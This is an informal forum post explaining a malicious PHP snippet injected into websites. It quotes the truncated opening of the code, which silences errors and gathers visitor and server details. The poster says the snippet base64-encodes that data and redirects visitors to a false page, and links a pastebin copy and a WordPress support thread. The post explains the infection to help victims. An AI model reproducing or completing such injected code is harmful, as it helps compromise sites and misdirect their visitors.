Hi mate this part of the code

Code: 
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER
Is basically showing

your host name , servername, requested url,referrrer , user agent, the filename stuff like that it can be harmful depending on what it is beign used for

its encodeing the text in base64 encrypted using functions decalred by the alaphabet characters of A-I

what it does is sends ppl to a false php page and redirects them to another one

this attack is being used on TONS of websites

as welll as this same script is being used in the public

http://pastebin.com/m6649b7c3


also read this

http://wordpress.org/support/topic/220523